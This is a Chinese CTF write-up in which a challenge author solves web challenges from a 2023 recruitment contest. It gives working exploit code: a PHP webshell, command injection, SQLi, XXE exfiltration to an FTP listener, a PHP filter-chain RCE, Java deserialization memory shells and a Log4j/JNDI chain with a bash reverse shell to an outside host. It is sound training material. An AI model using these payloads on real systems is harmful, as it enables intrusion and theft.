前言
这是 2023.9.8-2023.10.8 工作室招新赛的题,本人出了一些题目,Web 类型的题解如下。
ClickMe
在浏览器地址栏按 F12 移除 style 中的 pointer-events: none;
再点击中间的文本即可。(注意我 ban 了 f12 和 ctrl+u,只是在页面上 ban,在浏览器地址栏还是可以按出来的)
或者直接在控制台运行:
decryptString("sUUZAKeV\x03S]^\x01oF\\m\x02}\x01\x01osV\vYAl`UQAGYF\x12O","2023")
就会弹出 flag:
Aegis{We1com3_to_2O23_Ae9is_Recruit!}
Get&Post
这题就是考察大家会不会发包罢了。
发送如下请求包:
curl -v -X HEAD http://139.9.212.160:18089/?a=1 -d b=1
即可在响应包中看到回复
Set-Cookie: flag=Aegis{GET&P0ST'did_u_get_1t?}; Path=/
Spider
这题考察大家会不会写爬虫。
一个脚本即可:
import requests
import re
import time
comp = re.compile(r'<div class="next-page">Oh no! Flag has been moved to: <i class="fas fa-arrow-circle-right icon"></i> (.*?)</div>')
path = 'index.html'
while 1:
url = f'http://139.9.212.160:19001/{path}'
resp = requests.get(url)
resp_text = resp.text
m = comp.findall(resp_text)
if m:
path = m[0]
print(path)
resp.close()
time.sleep(0.3)
else:
print('found the flag, path is ' + path)
break
Upload
非常简单的文件上传题目。后端没有任何检测。上传 PHP 木马即可。
root@LAPTOP-B9A811D6:/tmp# cat shell.php
<?php
@eval($_REQUEST[1]);
?>
root@LAPTOP-B9A811D6:/tmp# curl -v http://139.9.212.160:18086/ -F "file=@/tmp/shell.php" | grep images
* Trying 139.9.212.160:18086...
* TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 139.9.212.160 (139.9.212.160) port 18086 (#0)
> POST / HTTP/1.1
> Host: 139.9.212.160:18086
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Length: 231
> Content-Type: multipart/form-data; boundary=------------------------5a2484ac93bb6b0a
>
} [231 bytes data]
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.25.1
< Date: Mon, 09 Oct 2023 08:06:35 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP/8.2.8
<
{ [1720 bytes data]
100 1939 0 1708 100 231 7028 950 --:--:-- --:--:-- --:--:-- 8012
* Connection #0 to host 139.9.212.160 left intact
<div class="alert alert-info">图片上传成功!保存路径:images/6523b48b6e216.php</div>
root@LAPTOP-B9A811D6:/tmp# curl 'http://139.9.212.160:18086/images/6523b48b6e216.php?1=system("ls%20/");'
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
root@LAPTOP-B9A811D6:/tmp# curl 'http://139.9.212.160:18086/images/6523b48b6e216.php?1=system("cat%20/flag");'
Aegis{Did'u'_see^some_n!ce_pictures?}
Play
Shule 最近在学习 Git,但是他好像搞错了些什么….
根据题目描述很容易知道是考察 git 泄露
┌──(root㉿LAPTOP-B9A811D6)-[/tmp]
└─# curl http://139.9.212.160:18087/.git/ -v
* processing: http://139.9.212.160:18087/.git/
* Trying 139.9.212.160:18087...
* Connected to 139.9.212.160 (139.9.212.160) port 18087
> GET /.git/ HTTP/1.1
> Host: 139.9.212.160:18087
> User-Agent: curl/8.2.1
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Server: nginx/1.25.1
< Date: Mon, 09 Oct 2023 08:17:07 GMT
< Content-Type: text/html
< Content-Length: 153
< Connection: keep-alive
<
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.25.1</center>
</body>
</html>
* Connection #0 to host 139.9.212.160 left intact
这里简单使用 githacker 工具
githacker --url http://139.9.212.160:18087/.git/ --output-folder ./result
然后就是考察一些简单的 GIT 命令操作
┌──(root㉿LAPTOP-B9A811D6)-[/tmp/result/670ac1480a45c197d540544725e87895]
└─# cat flag.php
<?php
header('Location: https://www.bilibili.com/video/BV1uT4y1P7CX/?spm_id_from=333.337.search-card.all.click')
?>
┌──(root㉿LAPTOP-B9A811D6)-[/tmp/result/670ac1480a45c197d540544725e87895]
└─# git log
commit f44ac2f8d77502ce2621d81c418089c5ecc5b433 (HEAD -> master, origin/master, origin/HEAD)
Author: root <[email protected]>
Date: Thu Jul 20 14:33:02 2023 +0800
Oops, rm the flag to avoid unnecessary trouble
commit a242823fe647c261c657ee5d678a6110b401944f
Author: root <[email protected]>
Date: Thu Jul 20 14:32:30 2023 +0800
init
┌──(root㉿LAPTOP-B9A811D6)-[/tmp/result/670ac1480a45c197d540544725e87895]
└─# git checkout a242823fe647c261c657ee5d678a6110b401944f
Note: switching to 'a242823fe647c261c657ee5d678a6110b401944f'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.
If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:
git switch -c <new-branch-name>
Or undo this operation with:
git switch -
Turn off this advice by setting config variable advice.detachedHead to false
HEAD is now at a242823 init
┌──(root㉿LAPTOP-B9A811D6)-[/tmp/result/670ac1480a45c197d540544725e87895]
└─# cat flag.php
<?php
$flag = "Aegis{pa1y_f0r_.git!}";
header('Location: https://www.bilibili.com/video/BV1uT4y1P7CX/?spm_id_from=333.337.search-card.all.click')
?>
Ez-Shell
代码如下:
<?php
highlight_file(__FILE__);
error_reporting(0);
// Everything you want is in the root directory!
shell_exec($_POST['cmd']);
?>
很 ez,很直接,核心代码就一行 shell_exec($_POST['cmd']);
。但是经过测试后会发现无权限写 web shell,也不出网。直接写个时间盲注脚本即可。当时设置的是环境每 30 min 重启,想着玩家用暴力枚举的方式会很困难,但是观察了一下日志,几乎都是每秒钟四五十个请求。
下面给出解题脚本,测了一下大概需要 17 分钟即可跑完 cat /f1@g
,每秒钟发六到七个请求:
# -*- coding: utf-8 -*-
"""
Created on Wed Oct 17 2023
@author: Shule
"""
import base64
from datetime import datetime
import time
url = "http://139.9.212.160:19099/s7ell.asp"
result = ""
import requests
for row in range(1, 30):
for column in range(1, 200):
left = 32
right = 126
cmd = 'cat /f1@g'
while left < right:
mid = int((left + right + 1) / 2)
cmds = f"if [[ {cmd}|sed 's/ /_/g'|sed ':a;N;$!ba;s/\\n/,/g'|awk NR=={row}| cut -c {column}
> \\{chr(mid)} ]] || [[ {cmd}|sed 's/ /_/g'|sed ':a;N;$!ba;s/\\n/,/g'|awk NR=={row}| cut -c {column}
== \\{chr(mid)} ]]; then sleep 2; fi"
cmds = base64.b64encode(cmds.encode("utf-8"))
cmds = cmds.decode("utf-8")
payload = f"""echo {cmds}|base64 -d|/bin/bash"""
data = {
"cmd": payload
}
start = int(datetime.now().timestamp() * 1000)
resp = requests.post(url=url, data=data)
end = int(datetime.now().timestamp() * 1000)
if end - start > 2000:
left = mid
else:
right = mid - 1
# time.sleep(0.2)
if right != 32:
result += chr(right)
print(result)
else:
break
Motto
考点:SQLi
看了大家的题解才发现我 flag 表的列名设置的那么简单。我当时出题的想法就是让大家猜不到列名,用个
*
。
这题 ban 掉了 (
、)
、information
。
完整步骤:
#0 通过联合注入可以测的出三个列,并且回显在第二个位置。至于为什么第三个位置没有回显,其实是因为第三个位置我是用 base64_decode 进行输出的
#1 这里可以简单的测获得数据库的版本号和一些信息
0' union select 1,@@version,3#
虽然 ban 掉了 information,但我们还是可以通过 innodb_table_stats 获得我们的数据库和表内容。
#2 获得库名,可以知道 flag 在 flag_in_h3re 数据库中
0' union SELECT 1,database_name,3 FROM mysql.innodb_table_stats LIMIT 1,1#
#3 获得表名,同样的 mysql.innodb_table_stats 中保存着数据库所有的表名,可以知道在 flag_table 中
0' union SELECT 1,table_name,3 FROM mysql.innodb_table_stats LIMIT 1,1#
#4 由于不知道 flag 的列名,因此可以测试一下 * 号。注意这里的联合注入要求列的属性一致,调换 * 号是不行的,我第一张用户表中是三列,索引+用户名+格言,flag 表则是索引+varchar 类型。
# 下面的 payload 大概是这样 select * from users where id = '0' UNION SELECT *,1 FROM flag_in_h3re.flag_table limit 0,1#
# 如果你调换了 * 和 1 的位置,则会导致 flag 表的索引 Int 型匹配到了 users 表的 username (varchar 类型)
0' union SELECT *,1 FROM flag_in_h3re.flag_table limit 0,1#
当然由于我的列名设的简单了,大家完全可以猜到是 flag
0' union SELECT 1,flag,3 FROM flag_in_h3re.flag_table limit 0,1#
unfinished_site
我居然忘记让 flag 换行了。记住,用 http 进行外带数据如果目标文件存在换行是读不到的,跟 http url 性质有关,而且 ftp 协议的话读取的字符数更多
考点:简单的 XXE 盲注。不过需要注意目标环境是 java 而不是 php。注入点就是登录页面,当你用用户名登录的时候就会发送 xml 内容
下面直接开始做题
首先编写 xml.dtd 文件
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % start "<!ENTITY % send SYSTEM 'ftp://ftp:ftp@ip:port1/%file;'>">
然后起一个 http 服务,使得外部可以访问的到。
python3 -m http.server port2
接着在开启一个 ftp 服务
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
class CustomFTPHandler(FTPHandler):
def on_file_received(self, file):
# 当文件上传完成时记录上传的文件路径
print(f"Uploaded file: {file}")
def on_file_sent(self, file):
# 当文件下载完成时记录下载的文件路径
print(f"Downloaded file: {file}")
# 创建一个用户认证器
authorizer = DummyAuthorizer()
authorizer.add_user("ftp", "ftp", "/tmp", perm="elradfmw")
# 创建FTP处理程序
handler = CustomFTPHandler
handler.authorizer = authorizer
# 配置主动模式的端口范围
handler.passive_ports = range(10000, 10100)
# 创建FTP服务器实例并启动
server = FTPServer(("0.0.0.0", port1), handler)
server.serve_forever()
然后 POST 传值 (记得 url 编码)
<?xml version="1.0"?><!DOCTYPE Note [<!ENTITY % remote SYSTEM "http://ip:port2/xml.dtd">%remote;%start;%send;]>
可以发现即使内容换行了也可以获得
IncludeMe
点击页面可以看到除了这句话没有别的信息了
但用 burp 可以很容易看到响应头为 X-Powered-By: PHP/7.3.33
参考 https://blog.projectdiscovery.io/php-http-server-source-disclosure/ 尝试即可获得 index.php 源码
很容易发现是一个文件包含题目,根据提示传入 ?fil3=phpinfo
就可查看 phpinfo 页面,这里只需要关注 open_basedir
和 disable_functions
就好。
open_basedir: /var/www/html/:/tmp/
disable_functions:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
然后就是 LFI2RCE 传入:
http://139.9.212.160:18082/?fil3=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
并且 POST 传入
1=file_put_contents('/tmp/shu1e.txt','<?php eval($_POST[1]);?>');
然后就是用蚁剑连接,简单绕过 open_basedir 和 disable_funtions 就行了
rock-paper-scissors
点击页面中的某个按钮,可以发现发送了 guess=rock
数据
稍微修改一下发现 Flask Debug 的报错页面
很容易知道 eval 注入点,可以猜测 Game 是一个 class。可以传入一下内容进行命令执行,但是没有回显可以用反弹 shell:
guess=__eq__(eval("__import__('os').popen('echo base64内容|base64 -d|/bin/bash')"))#
不过最好是在 burp suite 上进行 url 编码发包
监听即可
TransforMe
主要考点:不出网简单打个 SpringBoot 内存马即可。利用 JackSon 链。
通过给的 docker-compose.yml 可以知道目标环境不出网
给了个 jar 包,反编译一下发现依赖版本号:
审计代码发现首先我们需要绕过第一层限制:
什么数字在 Java 中用了绝对值函数还能小于 0 呢?简单搜索一下还是可以知道是 -2147483648
接下来就是反序列化漏洞的利用了
public class Exp {
public static void main(String[] args) throws Exception {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
byte[] code= Files.readAllBytes(Paths.get("shell.class"));
byte[][] codes={code};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", codes);
setFieldValue(templatesImpl, "_name", "TemplatesImpl");
setFieldValue(templatesImpl, "_tfactory", null);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
POJONode node = new POJONode(proxy);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(val);
objectOutputStream.close();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
byteArrayInputStream.close();
//new ObjectInputStream(byteArrayInputStream).readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
shell.class (回显)的内容如下:
public class Shell extends AbstractTranslet implements HandlerInterceptor {
static {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
try {
Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>)adaptedInterceptorsField.get(abstractHandlerMapping);
adaptedInterceptors.add(new Exp());
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception{
String cmd = request.getParameter("cmd");
if (cmd!=null) {
try {
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
//将命令执行结果写入扫描器并读取所有输入
java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
return false;
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
return true;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
最终:
LogMe
这题需要每 5min 重启一次,因为每次打出 jndi 注入都会破坏环境
题目首先还是给了个 jar 包,我们反编译后可以发现目标编译和运行环境都是 jdk17,并且还是用 jetty 启动的 Web 服务器
引入了 log4j2 这个是存在 jndi 注入的版本,而且还引入了 fastjson 和 h2database,不过版本比较新,并没有这个依赖导致的直接漏洞。
再审一下发现 Servlet 很简单,整个项目也只有几个类
不过在过滤器中可以看到,运用了 log4j2,而且我们可以通过 xff 头作为 jndi 的触发点
但很明显,jdk17 的 jndi 注入难以利用。我们再看看十分诡异的 GetConnect 类,这个类中保存了 driver 和 url 两个变量,看样子是可以给我们通过传入 driver 类和 url 进行 jdbc 的连接。参考 https://blog.pyn3rd.com/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/ 我们不难想到如果我们能够控制 driver 写为 h2 以及 jdbc-url 当调用这个类中的 getConnection 方法的时候就会造成 RCE。
可是我们怎么能够触发 getConnection 方法呢?还记得目标环境中存在 fastjson 方法吗,参考 https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%88%A9%E7%94%A8%E4%B8%8E%E9%99%90%E5%88%B6 可知,JSONObject 在触发 toString 方法的时候也就会调用 Node 的 getter 方法。而触发 toString 方法虽然在 jdk17 中 BadAttributeValueExpException 的 val 属性已经不再是 Object 而是 String 类了,如果反射赋值的话会出错。但我们可以通过 GetConnect#readObejct->logger.info->this.diver.toString
分析后我们不难可以先构造出序列化数据:
@Test
public void poc() throws Exception {
GetConnect myConnect = new GetConnect();
setValue(myConnect,"driver","org.h2.Driver");
setValue(myConnect,"url","jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"test\"\\;}'\\;CALL EXEC('bash -c $@|bash 0 echo bash -i >& /dev/tcp/18.176.183.3/18192 0>&1')");
System.out.println(myConnect);
JSONArray jsonArray = new JSONArray();
jsonArray.add(myConnect);
GetConnect myConnect1 = new GetConnect();
setValue(myConnect1,"driver",jsonArray);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(myConnect1);
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);
}
public static void setValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
但是怎么触发反序列化呢?我们可以通过 jndi 的方法进行触发。
首先搭建一个 jndi 服务器
package org.example;
import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class JNDIGadgetServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#ExportObject";
int port = 12345;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// 填写序列化数据
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyACBzaG93LmFnZWlzLmxvZ21lLnV0aWwuR2V0Q29ubmVjdEXuZD8MzW1kAgACTAAGZHJpdmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAADdXJsdAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAeY29tLmFsaWJhYmEuZmFzdGpzb24uSlNPTkFycmF5Mo4G5Gcx8LACAAFMAARsaXN0dAAQTGphdmEvdXRpbC9MaXN0O3hwc3IAH2NvbS5hbGliYWJhLmZhc3Rqc29uMi5KU09OQXJyYXkAAAAAAAAAAQIAAHhyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAABdwQAAAABc3EAfgAAdAANb3JnLmgyLkRyaXZlcnQBB2pkYmM6aDI6bWVtOnRlc3RkYjtUUkFDRV9MRVZFTF9TWVNURU1fT1VUPTM7SU5JVD1DUkVBVEUgQUxJQVMgRVhFQyBBUyAnU3RyaW5nIHNoZWxsZXhlYyhTdHJpbmcgY21kKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7UnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWQpXDtyZXR1cm4gInRlc3QiXDt9J1w7Q0FMTCBFWEVDKCdiYXNoIC1jICRAfGJhc2ggMCBlY2hvIGJhc2ggLWkgPiYgL2Rldi90Y3AvMC50Y3AuanAubmdyb2suaW8vMTgxOTIgMD4mMScpeHA="));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
Payload:
${jndi:ldap://0.tcp.ap.ngrok.io:19632/ExportObject}
但是没有权限读取 flag,不过有 sudo 特权,参考 https://gtfobins.github.io/gtfobins/tar/ 可以通过 tar 进行读取文件